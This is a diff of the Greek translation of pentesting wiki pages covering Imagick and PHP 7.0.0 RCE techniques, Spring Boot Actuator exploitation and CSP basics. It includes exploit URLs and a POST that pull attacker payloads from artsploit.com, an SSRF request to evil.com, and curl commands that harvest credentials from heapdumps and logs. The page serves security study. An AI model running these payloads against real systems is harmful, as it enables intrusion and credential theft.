Διαπιστώθηκε η δυνατότητα του VID parser να γράφει περιεχόμενο σε οποιαδήποτε καθορισμένη διαδρομή στο σύστημα αρχείων. Αυτό μπορεί να οδηγήσει στην τοποθέτηση ενός PHP shell σε έναν web-accessible κατάλογο, επιτυγχάνοντας Remote Code Execution (RCE).
|
Εντοπίστηκε ότι ο VID parser έχει τη δυνατότητα να γράφει περιεχόμενο σε οποιαδήποτε καθορισμένη διαδρομή στο σύστημα αρχείων. Αυτό μπορεί να οδηγήσει στην τοποθέτηση ενός PHP shell σε έναν web-accessible κατάλογο, επιτυγχάνοντας Remote Code Execution (RCE).
|
||||||
|
|
||||||
#### VID Parser + File Upload
|
#### VID Parser + File Upload
|
||||||
|
|
||||||
Σημειώνεται ότι το PHP αποθηκεύει προσωρινά uploaded αρχεία στο `/tmp/phpXXXXXX`. Ο VID parser στην Imagick, χρησιμοποιώντας το πρωτόκολλο **msl**, μπορεί να χειριστεί wildcards σε file paths, διευκολύνοντας τη μεταφορά του προσωρινού αρχείου σε επιλεγμένη θέση. Αυτή η μέθοδος προσφέρει μια επιπλέον προσέγγιση για εγγραφή αυθαίρετων αρχείων στο σύστημα αρχείων.
|
Σημειώνεται ότι το PHP αποθηκεύει προσωρινά τα ανεβασμένα αρχεία στο `/tmp/phpXXXXXX`. Ο VID parser στην Imagick, χρησιμοποιώντας το πρωτόκολλο **msl**, μπορεί να χειριστεί wildcards σε μονοπάτια αρχείων, διευκολύνοντας τη μεταφορά του προσωρινού αρχείου σε επιλεγμένη τοποθεσία. Αυτή η μέθοδος προσφέρει μια επιπλέον προσέγγιση για την επίτευξη arbitrary file writing μέσα στο σύστημα αρχείων.
|
||||||
|
|
||||||
### PHP Crash + Brute Force
|
### PHP Crash + Brute Force
|
||||||
|
|
||||||
Μια μέθοδος που περιγράφεται στο [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) περιλαμβάνει το upload αρχείων που προκαλούν crash του server πριν τη διαγραφή. Με brute-forcing του ονόματος του προσωρινού αρχείου, γίνεται δυνατό για την Imagick να εκτελέσει arbitrary PHP code. Ωστόσο, αυτή η τεχνική βρέθηκε αποτελεσματική μόνο σε παλαιότερη έκδοση του ImageMagick.
|
Μια μέθοδος που περιγράφεται στο [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) περιλαμβάνει το ανέβασμα αρχείων που προκαλούν crash του server πριν τη διαγραφή. Με brute-forcing του ονόματος του προσωρινού αρχείου, γίνεται δυνατό για την Imagick να εκτελέσει arbitrary PHP code. Ωστόσο, αυτή η τεχνική βρέθηκε αποτελεσματική μόνο σε μία παλιά έκδοση του ImageMagick.
|
||||||
|
|
||||||
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
|
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
|
||||||
|
|
||||||
Όταν το user input ελέγχει το όνομα κλάσης (π.χ., `new $_GET['model']()`), η PHP 7.0.0 εισήγαγε ένα προσωρινό bug κατά τη διάρκεια του `Throwable` refactor όπου ο engine εσφαλμένα αντιμετώπιζε το όνομα κλάσης ως printf format string κατά την επίλυση. Αυτό επιτρέπει κλασικά printf-style primitives μέσα στο PHP: leaks με `%p`, έλεγχο του write-count με width specifiers, και arbitrary writes με `%n` εναντίον in-process pointers (π.χ. GOT entries σε ELF builds).
|
Όταν η είσοδος χρήστη ελέγχει το όνομα κλάσης (π.χ., `new $_GET['model']()`), το PHP 7.0.0 εισήγαγε ένα παροδικό bug κατά τη refactor του `Throwable` όπου η engine κατά λάθος αντιμετώπιζε το όνομα κλάσης σαν printf format string κατά την επίλυση. Αυτό επιτρέπει τα κλασικά printf-style primitives μέσα στο PHP: leaks με `%p`, έλεγχο του write-count με width specifiers, και arbitrary writes με `%n` σε in-process pointers (π.χ. GOT entries σε ELF builds).
|
||||||
|
|
||||||
Ελάχιστο αναπαραγωγικό ευάλωτο πρότυπο:
|
Ελάχιστο αναπαραγωγικό ευάλωτο δείγμα:
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
$model = $_GET['model'];
|
$model = $_GET['model'];
|
||||||
@ -109,12 +109,12 @@ curl "http://host/index.php?model=%p-%p-%p"
|
|||||||
- Trigger the hijacked function by passing a class name containing a shell pipe to reach `system("id")`.
|
- Trigger the hijacked function by passing a class name containing a shell pipe to reach `system("id")`.
|
||||||
|
|
||||||
Σημειώσεις:
|
Σημειώσεις:
|
||||||
- Λειτουργεί μόνο σε PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); διορθώθηκε σε επόμενες εκδόσεις. Severity: critical εάν υπάρχει arbitrary class instantiation.
|
- Λειτουργεί μόνο στο PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); διορθώθηκε σε επόμενες εκδόσεις. Severity: critical if arbitrary class instantiation exists.
|
||||||
- Τα τυπικά payloads συνδυάζουν πολλά `%p` για να διατρέξουν το stack, και στη συνέχεια χρησιμοποιούν `%.<width>d%<pos>$n` για να πραγματοποιήσουν την μερική overwrite.
|
- Typical payloads chain many `%p` to walk the stack, then `%.<width>d%<pos>$n` to land the partial overwrite.
|
||||||
|
|
||||||
## Αναφορές
|
## Αναφορές
|
||||||
|
|
||||||
- https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
|
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
|
||||||
- The Art of PHP: CTF‑born exploits and techniques
|
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
@ -6,31 +6,30 @@
|
|||||||
|
|
||||||
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
|
**Από** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
|
||||||
|
|
||||||
## Εκμετάλλευση Spring Boot Actuators
|
## Εκμετάλλευση Spring Boot Actuators
|
||||||
|
|
||||||
**Δείτε το πρωτότυπο άρθρο στο** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
**Δείτε την αρχική δημοσίευση στο** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||||||
|
|
||||||
### **Κύρια Σημεία:**
|
### **Βασικά σημεία:**
|
||||||
|
|
||||||
- Spring Boot Actuators καταγράφουν endpoints όπως `/health`, `/trace`, `/beans`, `/env`, κ.λπ. Σε εκδόσεις 1 έως 1.4, αυτά τα endpoints είναι προσβάσιμα χωρίς έλεγχο ταυτότητας. Από την έκδοση 1.5 και μετά, μόνο τα `/health` και `/info` είναι μη ευαίσθητα από προεπιλογή, αλλά οι προγραμματιστές συχνά απενεργοποιούν αυτή την προστασία.
|
- Τα Spring Boot Actuators καταχωρούν endpoints όπως `/health`, `/trace`, `/beans`, `/env` κ.λπ. Σε εκδόσεις 1 έως 1.4, αυτά τα endpoints είναι προσβάσιμα χωρίς authentication. Από την έκδοση 1.5 και μετά, μόνο τα `/health` και `/info` είναι μη ευαίσθητα από προεπιλογή, αλλά οι developers συχνά απενεργοποιούν αυτή τη ρύθμιση ασφαλείας.
|
||||||
- Ορισμένα endpoints των Actuator μπορούν να αποκαλύψουν ευαίσθητα δεδομένα ή να επιτρέψουν επιβλαβείς ενέργειες:
|
- Ορισμένα Actuator endpoints μπορούν να εκθέσουν ευαίσθητα δεδομένα ή να επιτρέψουν επιβλαβείς ενέργειες:
|
||||||
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, και `/heapdump`.
|
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, και `/heapdump`.
|
||||||
- Σε Spring Boot 1.x, οι actuators καταχωρούνται κάτω από το root URL, ενώ σε 2.x βρίσκονται κάτω από τη βάση `/actuator/`.
|
- Στο Spring Boot 1.x, τα actuators καταχωρούνται κάτω από το root URL, ενώ στο 2.x βρίσκονται κάτω από την βάση `/actuator/`.
|
||||||
|
|
||||||
### **Τεχνικές Εκμετάλλευσης:**
|
### **Τεχνικές εκμετάλλευσης:**
|
||||||
|
|
||||||
1. **Remote Code Execution via '/jolokia'**:
|
1. **Remote Code Execution via '/jolokia'**:
|
||||||
- Το endpoint `/jolokia` των Actuator εκθέτει τη βιβλιοθήκη Jolokia, η οποία επιτρέπει πρόσβαση σε MBeans μέσω HTTP.
|
- Το `/jolokia` actuator endpoint εκθέτει τη Jolokia Library, η οποία επιτρέπει HTTP πρόσβαση σε MBeans.
|
||||||
- Η ενέργεια `reloadByURL` μπορεί να εκμεταλλευτεί ώστε να φορτώσει ξανά ρυθμίσεις logging από εξωτερικό URL, κάτι που μπορεί να οδηγήσει σε blind XXE ή Remote Code Execution μέσω κακόβουλα κατασκευασμένων XML ρυθμίσεων.
|
- Η ενέργεια `reloadByURL` μπορεί να εκμεταλλευτεί για να ξαναφορτώσει ρυθμίσεις logging από έναν εξωτερικό URL, κάτι που μπορεί να οδηγήσει σε blind XXE ή Remote Code Execution μέσω crafted XML configurations.
|
||||||
- Παράδειγμα exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
- Παράδειγμα exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
||||||
|
|
||||||
2. **Config Modification via '/env'**:
|
2. **Config Modification via '/env'**:
|
||||||
|
|
||||||
- Εάν υπάρχουν οι Spring Cloud Libraries, το endpoint `/env` επιτρέπει την τροποποίηση των περιβαλλοντικών ιδιοτήτων.
|
- Εάν υπάρχουν Spring Cloud Libraries, το endpoint `/env` επιτρέπει τροποποίηση των environmental properties.
|
||||||
- Οι ιδιότητες μπορούν να χειραγωγηθούν για να εκμεταλλευτούν ευπάθειες, όπως η ευπάθεια αποσειριοποίησης XStream στο Eureka serviceURL.
|
- Οι ιδιότητες μπορούν να τροποποιηθούν για να εκμεταλλευτούν ευπάθειες, όπως η XStream deserialization vulnerability στο Eureka serviceURL.
|
||||||
- Παράδειγμα exploit POST αιτήματος:
|
- Παράδειγμα exploit POST request:
|
||||||
|
|
||||||
```
|
```
|
||||||
POST /env HTTP/1.1
|
POST /env HTTP/1.1
|
||||||
@ -41,22 +40,22 @@ Content-Length: 65
|
|||||||
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||||
```
|
```
|
||||||
|
|
||||||
3. **Άλλες Χρήσιμες Ρυθμίσεις**:
|
3. **Other Useful Settings**:
|
||||||
- Ιδιότητες όπως `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, και `spring.datasource.tomcat.max-active` μπορούν να τροποποιηθούν για διάφορες εκμεταλλεύσεις, όπως SQL injection ή αλλαγή των connection strings της βάσης δεδομένων.
|
- Ιδιότητες όπως `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, και `spring.datasource.tomcat.max-active` μπορούν να τροποποιηθούν για διάφορες εκμεταλλεύσεις, όπως SQL injection ή αλλαγή των connection strings της βάσης δεδομένων.
|
||||||
|
|
||||||
### **Επιπλέον Πληροφορίες:**
|
### **Πρόσθετες πληροφορίες:**
|
||||||
|
|
||||||
- Μία ολοκληρωμένη λίστα των default actuators βρίσκεται [εδώ](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
- Μια αναλυτική λίστα με default actuators είναι διαθέσιμη [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
||||||
- Το endpoint `/env` στο Spring Boot 2.x χρησιμοποιεί JSON μορφή για την τροποποίηση ιδιοτήτων, αλλά η γενική ιδέα παραμένει ίδια.
|
- Το endpoint `/env` στο Spring Boot 2.x χρησιμοποιεί JSON format για τη μεταβολή ιδιοτήτων, αλλά η γενική ιδέα παραμένει ίδια.
|
||||||
|
|
||||||
### **Σχετικά Θέματα:**
|
### **Σχετικά θέματα:**
|
||||||
|
|
||||||
1. **Env + H2 RCE**:
|
1. **Env + H2 RCE**:
|
||||||
- Λεπτομέρειες για την εκμετάλλευση του συνδυασμού του endpoint `/env` και της βάσης H2 βρίσκονται [εδώ](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
- Λεπτομέρειες για την εκμετάλλευση του συνδυασμού του `/env` endpoint και της H2 βάσης δεδομένων είναι διαθέσιμες [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
||||||
|
|
||||||
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
|
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
|
||||||
- Ο τρόπος με τον οποίο το Spring framework χειρίζεται matrix parameters (`;`) σε HTTP pathnames μπορεί να εκμεταλλευτεί για Server-Side Request Forgery (SSRF).
|
- Η διαχείριση από το Spring framework των matrix parameters (`;`) σε HTTP pathnames μπορεί να εκμεταλλευτεί για Server-Side Request Forgery (SSRF).
|
||||||
- Παράδειγμα αιτήματος εκμετάλλευσης:
|
- Παράδειγμα exploit request:
|
||||||
```http
|
```http
|
||||||
GET ;@evil.com/url HTTP/1.1
|
GET ;@evil.com/url HTTP/1.1
|
||||||
Host: target.com
|
Host: target.com
|
||||||
@ -64,7 +63,7 @@ Connection: close
|
|||||||
```
|
```
|
||||||
## HeapDump secrets mining (credentials, tokens, internal URLs)
|
## HeapDump secrets mining (credentials, tokens, internal URLs)
|
||||||
|
|
||||||
Αν το `/actuator/heapdump` είναι εκτεθειμένο, συνήθως μπορείτε να κατεβάσετε ένα πλήρες JVM heap snapshot που συχνά περιέχει live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, κ.λπ.).
|
Αν `/actuator/heapdump` είναι εκτεθειμένο, συνήθως μπορείτε να ανακτήσετε ένα πλήρες στιγμιότυπο heap του JVM που συχνά περιέχει ενεργά μυστικά (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, κ.λπ.).
|
||||||
|
|
||||||
- Download and quick triage:
|
- Download and quick triage:
|
||||||
```bash
|
```bash
|
||||||
@ -76,7 +75,7 @@ printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
|
|||||||
```
|
```
|
||||||
|
|
||||||
- Deeper analysis with VisualVM and OQL:
|
- Deeper analysis with VisualVM and OQL:
|
||||||
- Ανοίξτε το heapdump στο VisualVM, ελέγξτε instances του `java.lang.String` ή εκτελέστε OQL για να εντοπίσετε secrets:
|
- Open heapdump in VisualVM, inspect instances of `java.lang.String` or run OQL to hunt secrets:
|
||||||
```
|
```
|
||||||
select s.toString()
|
select s.toString()
|
||||||
from java.lang.String s
|
from java.lang.String s
|
||||||
@ -87,19 +86,19 @@ where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|Or
|
|||||||
```bash
|
```bash
|
||||||
java -jar JDumpSpider-*.jar heapdump
|
java -jar JDumpSpider-*.jar heapdump
|
||||||
```
|
```
|
||||||
Τυπικά ευρήματα υψηλής αξίας:
|
Typical high-value findings:
|
||||||
- Spring `DataSourceProperties` / `HikariDataSource` αντικείμενα που εκθέτουν `url`, `username`, `password`.
|
- Spring `DataSourceProperties` / `HikariDataSource` objects exposing `url`, `username`, `password`.
|
||||||
- `OriginTrackedMapPropertySource` entries που αποκαλύπτουν `management.endpoints.web.exposure.include`, service ports και ενσωματωμένο Basic-Auth σε URLs (π.χ. Eureka `defaultZone`).
|
- `OriginTrackedMapPropertySource` entries revealing `management.endpoints.web.exposure.include`, service ports, and embedded Basic-Auth in URLs (e.g., Eureka `defaultZone`).
|
||||||
- Τμήματα HTTP request/response σε plain text που περιλαμβάνουν `Authorization: Basic ...` και έχουν καταγραφεί στη μνήμη.
|
- Plain HTTP request/response fragments including `Authorization: Basic ...` captured in memory.
|
||||||
|
|
||||||
Tips:
|
Tips:
|
||||||
- Χρησιμοποιήστε ένα Spring-focused wordlist για να ανακαλύψετε γρήγορα actuator endpoints (π.χ., SecLists spring-boot.txt) και ελέγξτε πάντα αν τα `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` και `/actuator/configprops` είναι επίσης εκτεθειμένα.
|
- Use a Spring-focused wordlist to discover actuator endpoints quickly (e.g., SecLists spring-boot.txt) and always check if `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, and `/actuator/configprops` are also exposed.
|
||||||
- Τα credentials από heapdump συχνά δουλεύουν και για γειτονικές υπηρεσίες και μερικές φορές για system users (SSH), οπότε δοκιμάστε τα ευρέως.
|
- Credentials from heapdump often work for adjacent services and sometimes for system users (SSH), so try them broadly.
|
||||||
|
|
||||||
|
|
||||||
## Abusing Actuator loggers/logging to capture credentials
|
## Abusing Actuator loggers/logging to capture credentials
|
||||||
|
|
||||||
Αν το `management.endpoints.web.exposure.include` το επιτρέπει και το `/actuator/loggers` είναι εκτεθειμένο, μπορείτε δυναμικά να αυξήσετε τα επίπεδα καταγραφής σε DEBUG/TRACE για πακέτα που χειρίζονται authentication και request processing. Σε συνδυασμό με αναγνώσιμα logs (μέσω `/actuator/logfile` ή γνωστών log paths), αυτό μπορεί να αποκαλύψει credentials που υποβάλλονται κατά τη ροή login (π.χ., Basic-Auth headers ή form parameters).
|
If `management.endpoints.web.exposure.include` allows it and `/actuator/loggers` is exposed, you can dynamically increase log levels to DEBUG/TRACE for packages that handle authentication and request processing. Combined with readable logs (via `/actuator/logfile` or known log paths), this can leak credentials submitted during login flows (e.g., Basic-Auth headers or form parameters).
|
||||||
|
|
||||||
- Enumerate and crank up sensitive loggers:
|
- Enumerate and crank up sensitive loggers:
|
||||||
```bash
|
```bash
|
||||||
@ -124,11 +123,11 @@ curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|user
|
|||||||
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
|
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
|
||||||
```
|
```
|
||||||
|
|
||||||
- Προκαλέστε login/authentication traffic και αναλύστε το log για creds. Σε microservice setups με gateway που μπροστάρει το auth, η ενεργοποίηση TRACE για gateway/security πακέτα συχνά κάνει εμφανή headers και σώματα φορμών. Κάποια περιβάλλοντα παράγουν ακόμη και συνθετική login κίνηση περιοδικά, κάνοντας τη συλλογή trivial μόλις η καταγραφή γίνει verbose.
|
- Trigger login/authentication traffic and parse the log for creds. In microservice setups with a gateway fronting auth, enabling TRACE for gateway/security packages often makes headers and form bodies visible. Some environments even generate synthetic login traffic periodically, making harvesting trivial once logging is verbose.
|
||||||
|
|
||||||
Notes:
|
Notes:
|
||||||
- Επαναφέρετε τα επίπεδα log όταν τελειώσετε: `POST /actuator/loggers/<logger>` με `{ "configuredLevel": null }`.
|
- Reset log levels when done: `POST /actuator/loggers/<logger>` with `{ "configuredLevel": null }`.
|
||||||
- Αν το `/actuator/httpexchanges` είναι εκτεθειμένο, μπορεί επίσης να εμφανίσει πρόσφατα request metadata που μπορεί να περιλαμβάνει ευαίσθητα headers.
|
- If `/actuator/httpexchanges` is exposed, it can also surface recent request metadata that may include sensitive headers.
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
@ -1,14 +1,14 @@
|
|||||||
# Content Security Policy (CSP) Bypass
|
# Πολιτική Ασφάλειας Περιεχομένου (CSP) Bypass
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## What is CSP
|
## Τι είναι το CSP
|
||||||
|
|
||||||
Content Security Policy (CSP) αναγνωρίζεται ως τεχνολογία του browser, κυρίως με στόχο την **προστασία από επιθέσεις όπως το cross-site scripting (XSS)**. Λειτουργεί ορίζοντας και καθορίζοντας τις διαδρομές και τις πηγές από τις οποίες ο browser μπορεί να φορτώνει με ασφάλεια πόρους. Αυτοί οι πόροι περιλαμβάνουν στοιχεία όπως εικόνες, frames και JavaScript. Για παράδειγμα, μια πολιτική μπορεί να επιτρέψει τη φόρτωση και την εκτέλεση πόρων από τον ίδιο τομέα (self), συμπεριλαμβανομένων inline resources και την εκτέλεση string code μέσω συναρτήσεων όπως `eval`, `setTimeout`, ή `setInterval`.
|
Η Πολιτική Ασφάλειας Περιεχομένου (CSP) θεωρείται τεχνολογία του browser, με κύριο στόχο την **προστασία από επιθέσεις όπως το cross-site scripting (XSS)**. Λειτουργεί ορίζοντας και περιγράφοντας τις διαδρομές και τις πηγές από τις οποίες το πρόγραμμα περιήγησης μπορεί να φορτώνει με ασφάλεια πόρους. Αυτοί οι πόροι περιλαμβάνουν στοιχεία όπως εικόνες, frames και JavaScript. Για παράδειγμα, μια πολιτική μπορεί να επιτρέπει το φόρτωμα και την εκτέλεση πόρων από το ίδιο domain (self), συμπεριλαμβανομένων inline πόρων και της εκτέλεσης κώδικα σε μορφή string μέσω συναρτήσεων όπως `eval`, `setTimeout` ή `setInterval`.
|
||||||
|
|
||||||
Η εφαρμογή του CSP γίνεται μέσω **response headers** ή με την ενσωμάτωση **meta elements στην HTML σελίδα**. Σύμφωνα με αυτή την πολιτική, οι browsers επιβάλλουν ενεργά αυτούς τους κανόνες και μπλοκάρουν άμεσα τυχόν ανιχνευόμενες παραβιάσεις.
|
Η εφαρμογή της CSP γίνεται μέσω **επικεφαλίδων απόκρισης** ή με την ενσωμάτωση **meta στοιχείων στη σελίδα HTML**. Σύμφωνα με την πολιτική, τα προγράμματα περιήγησης επιβάλλουν ενεργά αυτούς τους κανόνες και μπλοκάρουν αμέσως τυχόν παραβιάσεις που εντοπίζονται.
|
||||||
|
|
||||||
- Implemented via response header:
|
- Υλοποιείται μέσω επικεφαλίδας απόκρισης:
|
||||||
```
|
```
|
||||||
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
||||||
```
|
```
|
||||||
@ -16,16 +16,16 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
|||||||
```xml
|
```xml
|
||||||
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
|
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
|
||||||
```
|
```
|
||||||
### Headers
|
### Επικεφαλίδες
|
||||||
|
|
||||||
Το CSP μπορεί να εφαρμοστεί ή να παρακολουθηθεί χρησιμοποιώντας αυτές τις κεφαλίδες:
|
Η CSP μπορεί να εφαρμοστεί ή να παρακολουθηθεί χρησιμοποιώντας αυτές τις κεφαλίδες:
|
||||||
|
|
||||||
- `Content-Security-Policy`: Επιβάλλει το CSP· ο browser μπλοκάρει τυχόν παραβιάσεις.
|
- `Content-Security-Policy`: Επιβάλλει την CSP· το πρόγραμμα περιήγησης αποκλείει οποιεσδήποτε παραβιάσεις.
|
||||||
- `Content-Security-Policy-Report-Only`: Χρησιμοποιείται για παρακολούθηση· αναφέρει παραβιάσεις χωρίς να τις μπλοκάρει. Ιδανικό για δοκιμές σε προπαραγωγικά περιβάλλοντα.
|
- `Content-Security-Policy-Report-Only`: Χρησιμοποιείται για παρακολούθηση· αναφέρει παραβιάσεις χωρίς να τις αποκλείει. Ιδανικό για δοκιμές σε προπαραγωγικά περιβάλλοντα.
|
||||||
|
|
||||||
### Defining Resources
|
### Ορισμός πόρων
|
||||||
|
|
||||||
Το CSP περιορίζει τις πηγές από τις οποίες φορτώνεται τόσο ενεργό όσο και παθητικό περιεχόμενο, ελέγχοντας πτυχές όπως η εκτέλεση inline JavaScript και η χρήση του `eval()`. Ένα παράδειγμα πολιτικής είναι:
|
Η CSP περιορίζει τις προελεύσεις για τη φόρτωση τόσο ενεργού όσο και παθητικού περιεχομένου, ελέγχοντας πτυχές όπως η εκτέλεση inline JavaScript και η χρήση του `eval()`. Ένα παράδειγμα πολιτικής είναι:
|
||||||
```bash
|
```bash
|
||||||
default-src 'none';
|
default-src 'none';
|
||||||
img-src 'self';
|
img-src 'self';
|
||||||
@ -39,38 +39,38 @@ object-src 'none';
|
|||||||
```
|
```
|
||||||
### Οδηγίες
|
### Οδηγίες
|
||||||
|
|
||||||
- **script-src**: Επιτρέπει συγκεκριμένες πηγές για JavaScript, συμπεριλαμβανομένων URLs, ενσωματωμένων scripts, και scripts που ενεργοποιούνται από event handlers ή XSLT stylesheets.
|
- **script-src**: Επιτρέπει συγκεκριμένες πηγές για JavaScript, συμπεριλαμβανομένων URL, inline scripts, και scripts που ενεργοποιούνται από event handlers ή XSLT stylesheets.
|
||||||
- **default-src**: Ορίζει μια προεπιλεγμένη πολιτική για την ανάκτηση πόρων όταν λείπουν συγκεκριμένες fetch οδηγίες.
|
- **default-src**: Ορίζει μια προεπιλεγμένη πολιτική για την ανάκτηση πόρων όταν λείπουν συγκεκριμένες fetch directives.
|
||||||
- **child-src**: Καθορίζει επιτρεπόμενες πηγές για web workers και περιεχόμενο ενσωματωμένων frames.
|
- **child-src**: Καθορίζει επιτρεπόμενες πηγές για web workers και ενσωματωμένο περιεχόμενο frame.
|
||||||
- **connect-src**: Περιορίζει τα URLs που μπορούν να φορτωθούν χρησιμοποιώντας interfaces όπως fetch, WebSocket, XMLHttpRequest.
|
- **connect-src**: Περιορίζει τα URL που μπορούν να φορτωθούν χρησιμοποιώντας διεπαφές όπως fetch, WebSocket, XMLHttpRequest.
|
||||||
- **frame-src**: Περιορίζει τα URLs για frames.
|
- **frame-src**: Περιορίζει τα URL για frames.
|
||||||
- **frame-ancestors**: Καθορίζει ποιες πηγές μπορούν να ενσωματώσουν την τρέχουσα σελίδα, εφαρμόζεται σε στοιχεία όπως `<frame>`, `<iframe>`, `<object>`, `<embed>`, και `<applet>`.
|
- **frame-ancestors**: Καθορίζει ποιες πηγές μπορούν να ενσωματώσουν την τρέχουσα σελίδα, εφαρμόζεται σε στοιχεία όπως `<frame>`, `<iframe>`, `<object>`, `<embed>`, και `<applet>`.
|
||||||
- **img-src**: Ορίζει επιτρεπόμενες πηγές για εικόνες.
|
- **img-src**: Ορίζει επιτρεπόμενες πηγές για εικόνες.
|
||||||
- **font-src**: Καθορίζει έγκυρες πηγές για fonts που φορτώνονται χρησιμοποιώντας `@font-face`.
|
- **font-src**: Καθορίζει έγκυρες πηγές για γραμματοσειρές που φορτώνονται με `@font-face`.
|
||||||
- **manifest-src**: Ορίζει επιτρεπόμενες πηγές για αρχεία manifest εφαρμογής.
|
- **manifest-src**: Ορίζει επιτρεπόμενες πηγές για αρχεία application manifest.
|
||||||
- **media-src**: Ορίζει επιτρεπόμενες πηγές για φόρτωση media αντικειμένων.
|
- **media-src**: Ορίζει επιτρεπόμενες πηγές για φόρτωση media objects.
|
||||||
- **object-src**: Ορίζει επιτρεπόμενες πηγές για `<object>`, `<embed>`, και `<applet>` στοιχεία.
|
- **object-src**: Ορίζει επιτρεπόμενες πηγές για `<object>`, `<embed>`, και `<applet>` στοιχεία.
|
||||||
- **base-uri**: Καθορίζει επιτρεπόμενα URLs για φόρτωση χρησιμοποιώντας `<base>` στοιχεία.
|
- **base-uri**: Καθορίζει επιτρεπόμενα URL για φόρτωση μέσω `<base>` στοιχείων.
|
||||||
- **form-action**: Καταγράφει έγκυρους προορισμούς για υποβολές φορμών.
|
- **form-action**: Λίστα έγκυρων endpoints για υποβολές φορμών.
|
||||||
- **plugin-types**: Περιορίζει τους mime τύπους που μια σελίδα μπορεί να επικαλεστεί.
|
- **plugin-types**: Περιορίζει τους mime types που μπορεί να επικαλεστεί μια σελίδα.
|
||||||
- **upgrade-insecure-requests**: Δίνει οδηγία στα προγράμματα περιήγησης να επαναγράψουν HTTP URLs σε HTTPS.
|
- **upgrade-insecure-requests**: Οδηγεί τα browsers να αναγράψουν HTTP URLs σε HTTPS.
|
||||||
- **sandbox**: Εφαρμόζει περιορισμούς παρόμοιους με το attribute sandbox ενός `<iframe>`.
|
- **sandbox**: Εφαρμόζει περιορισμούς παρόμοιους με το sandbox attribute ενός `<iframe>`.
|
||||||
- **report-to**: Καθορίζει μια ομάδα στην οποία θα σταλεί μια αναφορά αν παραβιαστεί η πολιτική.
|
- **report-to**: Καθορίζει μια ομάδα στην οποία θα σταλεί μια αναφορά αν παραβιαστεί η πολιτική.
|
||||||
- **worker-src**: Καθορίζει έγκυρες πηγές για Worker, SharedWorker, ή ServiceWorker scripts.
|
- **worker-src**: Καθορίζει έγκυρες πηγές για Worker, SharedWorker, ή ServiceWorker scripts.
|
||||||
- **prefetch-src**: Καθορίζει έγκυρες πηγές για πόρους που θα ανακτηθούν ή θα prefetch-αριστούν.
|
- **prefetch-src**: Καθορίζει έγκυρες πηγές για resources που θα φορτωθούν ή θα prefetch-αρονται.
|
||||||
